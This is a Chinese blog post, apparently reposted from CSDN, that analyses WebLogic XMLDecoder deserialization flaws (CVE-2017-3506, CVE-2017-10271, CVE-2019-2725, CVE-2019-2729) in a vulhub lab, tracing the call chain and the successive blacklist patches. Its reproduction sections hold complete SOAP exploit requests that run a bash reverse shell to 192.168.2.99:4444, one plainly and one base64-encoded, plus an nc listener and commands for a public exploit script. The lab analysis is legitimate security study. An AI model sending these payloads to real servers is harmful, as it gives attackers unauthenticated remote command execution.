weblogic漏洞汇总-XMLDecoder

什么是XMLDecoder?

在我们平时的开发过程中,经常会使用到配置文件,因为很多数据是不会写死的(避免硬编码),所以会动态的配置到文件里,最常见的java配置文件就是xml、properties等,熟悉序列化和反序列化的都清楚,序列化是把对象序列成字符串,反之,则是反序列化,那么我们不仅可以序列化成字符串,也可以序列化成xml文件,当需要用到这个对象的时候,再将其反序列化。包括对象(类)里面的变量,方法都可以序列化到xml文件里

常见的xml格式(序列化格式)

定义字符串,值为hello

<string>hello</string>

定义javax.swing.JButton类的对象

<object class="javax.swing.JButton" method="new">
    <string>hello</string>
</object>

定义javax.swing.JButton类的函数(即是JButton的一个对象,方法是setText,传递的值是hello),也就是java的POJO里常见的各种set,get

<object class="javax.swing.JButton" method="new">
    <void method="setText">
		<string>hello</string>
    </void>
</object>

定长度为2的,元素为字符串类型的数组,下标为1的值为one

<array class="java.lang.String" length="2">
    <void index="1">
        <string>one</string>
    </void>
</array>

等价于

String[] s = new String[2];
s[1] = "one";

牛刀小试一下,idea创建一个test.xml,我们要把这个xml中的定义对象进行反序列化,并且要让其执行calc

<java version="1.8.0" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>>
        <void method="start"></void>
    </object>>
</java>

加一个类,使用XMLDecoder对上述文件的内容进行反序列化,再通过readObject进行反序列化的触发,注意xml的文件路径

package com.test;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class XMLDecoderTest {
    
    
    public static void main(String[] args) throws FileNotFoundException {
    
    
        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("src/com/test/test.xml")));
        Object result = xmlDecoder.readObject();
        xmlDecoder.close();
    }
}

在这里插入图片描述

在这里插入图片描述

右键执行,即可执行命令了

在这里插入图片描述

到了这里,是不是大概明白什么意思了,只要有一个地方,用户(安全人员),可以输入一段可控的xml文本,并且后台代码会使用XMLDecoder对用户输入的内容进行反序列化,再并且一下,会调用该XMLDecoder类的对象的readObject方法,那么这事就成了

由于weblogic不开源,我们使用vulhub+idea远程调试的方法来开调试

idea远程调试weblogic,好像不要modules也行

https://blog.csdn.net/weixin_45682070/article/details/123230456?spm=1001.2014.3001.5502
https://blog.csdn.net/qq_40710190/article/details/125793403

CVE-2017-3506&CVE-2017-10271

漏洞简介

受影响的版本

OracleWebLogic Server10.3.6.0.0

OracleWebLogic Server12.1.3.0.0

OracleWebLogic Server12.2.1.1.0

OracleWebLogic Server12.2.1.2.0

vulhub上面只有CVE-2017-10271,我们就起CVE-2017-10271的镜像吧,因为CVE-2017-3506和CVE-2017-10271调用链都一样

先有的CVE-2017-3506,不对用户输入的SOAP (XML) 数据进行验证,在其中使用object标签就可以进行远程命令执行

再有的CVE-2017-3506,补丁在weblogic/wsee/workarea/WorkContextXmlinputAdapter.java中添加了validate方法(黑名单),在解析xm时Element字段出现obiect标签就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式与CVE-2017-3506类似使用了void 标签绕过CVE-2017-3506的补丁,从而进行远程命令执行

vulhub使用的10.3.6.0.0

启动后访问

http://192.168.174.134:7001/console

在这里插入图片描述

只要访问URL会出现这个结果,就说明存在

http://192.168.174.134:7001/wls-wsat/CoordinatorPortType

在这里插入图片描述

uri也可以是以下的内容,在wls-wsat.war里面WEB-INF/web.xml定义的servlet

/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞复现

我们构造一个请求,这里要注意3点

1,请求方法是POST,uri在上面随便选一个能用的就行

2,由于我们的POST请求体是xml格式的,所以Content-Type要改

3,请求体是一段xml格式的内容,有了之前的基础,我们可以看出,定义了XMLDecoder的一个对象,对象有一个属性是字符串数组,有3个元素,下标为0是/bin/bash,下标为1是-c,下标为2是{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuOTkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i},熟悉反弹shell的都懂,下标为2的里面是个base64,根据实际环境调整IP和端口就好了

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.174.134:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 1041

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuOTkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

或者直白一点,直接用明文也行,原理都一样

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.174.134:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 1012

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i &gt;&amp; /dev/tcp/192.168.2.99/4444 0&gt;&amp;1</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

在发送这个请求之前,先监听xml里面下标为2的信息

nc -lvvp 4444

在这里插入图片描述

idea开启远程调试后,发送请求

在这里插入图片描述

她闪了

在这里插入图片描述

weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class的processRequest方法,var1就是我们传入的POST请求体里面的xml内容,var1各种处理完赋值给var3

在这里插入图片描述

会再调用readHeaderOld方法,把var3传过去

在这里插入图片描述

weblogic/wsee/jaxws/workcontext/WorkContextTube.class的readHeaderOld方法,这里叫var1,其实传过来是上一个类的var3,这里看,weblogic的变量名也很随意嘛

在这里插入图片描述

还是这个类,到了这里,可以看到var4已经被赋值为java标签这一级的内容了,就离我们最小化例子已经很近了,实例化了WorkContextXmlInputAdapter,继续跟进

在这里插入图片描述

weblogic/wsee/workarea/WorkContextXmlInputAdapter.class的WorkContextXmlInputAdapter方法,明明上面是new了WorkContextXmlInputAdapter的一个对象,为什么会到这个方法呢?这是构造方法辣。

这里把java标签传过来直接反序列化,这不就是我们最小化例子里面的一步吗,那么下一步就找什么?找readObject方法啊,触发了反序列化不就成了吗

在这里插入图片描述

weblogic/wsee/jaxws/workcontext/WorkContextTube.class的readHeaderOld方法,执行完上面的方法,会再次返回这里,并调用receive方法

在这里插入图片描述

但是本类的receive什么都没,还是个抽象的方法

在这里插入图片描述

weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class的receive方法,为什么会到这里呢?这个类WorkContextTube里面定义了一个抽象方法receive,而这个类WorkContextServerTube继承了这个类WorkContextTube,并完善了receive方法

在这里插入图片描述

所以调用链会到这里,又调用了receiveRequest方法

在这里插入图片描述

按住ctrl点进去之后,洗白了,是个接口,那我们还得找到实现了这个接口,并完善了这个方法的地方

在这里插入图片描述

weblogic/workarea/WorkContextMapImpl.class的receiveRequest方法,这个类实现了接口,注意,这里换jar包了,之前是weblogic.jar,这个是wlclient.jar,会继续调用receiveRequest方法

在这里插入图片描述

按住ctrl点进去之后,又洗白了,还是这个接口,那我们还得找到实现了这个接口,并完善了这个方法的地方

weblogic/workarea/WorkContextLocalMap.class的receiveRequest方法,这个类实现了接口,跟进readEntry方法

在这里插入图片描述

weblogic/workarea/spi/WorkContextEntryImpl.class的readEntry方法,又调用了readUTF方法,继续跟进

在这里插入图片描述

weblogic/wsee/workarea/WorkContextXmlInputAdapter.class的readUTF方法,终于又回到了这个地方,在这里调用了readObject方法,完成了她罪恶的一生

在这里插入图片描述

当我们按下调式键后,收到了反弹

在这里插入图片描述

补丁分析

CVE-2017-3506补丁分析,这里对用户输入进行了校验,如果匹配到了object,直接抛异常,所以是黑名单,那么我们就可以绕过,我刚刚复现+调试的环境是CVE-2017-10271的环境,我用的xml内容里java标签下一级就是void标签,由于只判断了object标签,没有判断别的,所以void标签就可以用,所以虽然修复了CVE-2017-3506,依旧还是可以利用,就产生了CVE-2017-10271

private void validate(InputStream is) {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try {
        SAXParser parser = factory.newSAXParser();
        parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName,Attributes attributes) throws SAXException {
                if(qName.equalsIgnoreCase(“object”)){
                    throw newIllegalStateException(“Invalid context type: object”);
                }
            }
        });
    } catch (ParserConfigurationException var5) {
    	throw new IllegalStateException(“Parser Exception”, var5);
    } catch (SAXException var6) {
    	throw new IllegalStateException(“Parser Exception”, var6);
    } catch (IOException var7) {
    	throw new IllegalStateException(“Parser Exception”, var7);
    }
}

CVE-2017-10271的补丁是什么?依旧是黑名单,现在过滤了object、new、method、void、array等

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

CVE-2019-2725

漏洞简介

该漏洞依旧是根据weblogic 的xmldecoder反序列化漏洞,WebLogic部分版本中默认包含的ws9_async response包,为WeblogicServer提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。

在CVE-2017-10271中,对用户请求的内容做了各种黑名单校验,用户输入的内容基本无懈可击,但是针对的url的校验还有遗漏,当我们使用这个uri:/_async/AsyncResponseService,那么会绕过之前参数的校验,其实说白了就是新发现了一个地方

影响版本

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.3

Weblogic 12.2.1.4

Weblogic 14.1.1.0

漏洞复现

依旧使用CVE-2017-10271的环境,访问,只要出现welcome这个页面,就说明存在

http://192.168.174.134:7001/_async/AsyncResponseService

在这里插入图片描述

那这是为何?

我们回到代码层,在这个包bea_wls9_async_response.war中,这个类WEB-INF/classes/weblogic/wsee/async/AsyncResponseBean.class中,使用了注解@的这种方式,像是spring的开发模式就是一个个bean还是自动执行,那么这里就相当于开了几条路

在这里插入图片描述

所以受影响的是这三个uri

/_async/AsyncResponseService
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceJms

构造payload

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.174.134:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 812

 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
 xmlns:asy="http://www.bea.com/async/AsyncResponseService">
     <soapenv:Header>
         <wsa:Action>xx</wsa:Action>
         <wsa:RelatesTo>xx</wsa:RelatesTo>
             <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
             <void class="java.lang.ProcessBuilder">
                 <array class="java.lang.String" length="3">
                     <void index="0">
                     	<string>/bin/bash</string>
                     </void>
                     <void index="1">
                     	<string>-c</string>
                     </void>
                     <void index="2">
                     	<string>bash -i &gt;&amp; /dev/tcp/192.168.2.99/4444 0&gt;&amp;1</string>
                     </void>
                 </array>
             <void method="start"/></void>
         </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body>
     <asy:onAsyncDelivery/>
     </soapenv:Body>
 </soapenv:Envelope>

调用链入口变了

weblogic/wsee/server/servlet/SoapProcessor.class的process方法,获取我们的请求,是POST

在这里插入图片描述

weblogic/wsee/workarea/WorkContextXmlInputAdapter.class的WorkContextXmlInputAdapter方法,老地方了,对照ASCII码

60, 118, 111, 105, 100, 32, 99, 108, 97, 115, 115, 61, 34, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 34, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 97, 114, 114, 97, 121, 32, 99, 108, 97, 115, 115, 61, 34, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 114, 105, 110, 103, 34, 32, 108, 101, 110, 103, 116, 104, 61, 34, 51, 34, 62

<void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3">

往后以此类推

在这里插入图片描述

补丁分析

在CVE-2017-10271基础上又限制了class标签

} else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");

CVE-2019-2729

漏洞简介

CVE-2019-2729漏洞是对CVE-2019-2725漏洞补丁进行绕过,形成新的漏洞利用方式,属于CVE-2019-2725漏洞的变形绕过。

CVE-2017-3506的补丁是过滤了object,CVE-2017-10271的补丁是过源了new、method标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的。
CVE-2019-2725的补丁也是使用黑名单禁用了class标签,但是我们可以使用反射机制,不让我们用class,我们使用class.forName,使用<array method =“forName”>代替class 标签,再加上byte类型。

影响版本

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.3

漏洞复现

前面说到,我们要使用byte类型的,所以这里要借助工具了

https://github.com/ruthlezs/CVE-2019-2729-Exploit
python oracle-weblogic-deserialize.py -u http://192.168.174.134:7001/ -c id
python oracle-weblogic-deserialize.py -u http://192.168.174.134:7001/ -c "ip addr"

在这里插入图片描述

补丁分析

使用了allow,也就是白名单的方式

白名单仍然允许<array>标记,但只允许包含带有“byte”值的“class”属性或带有任何值的“length”属性。

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/zy15667076526/article/details/131381627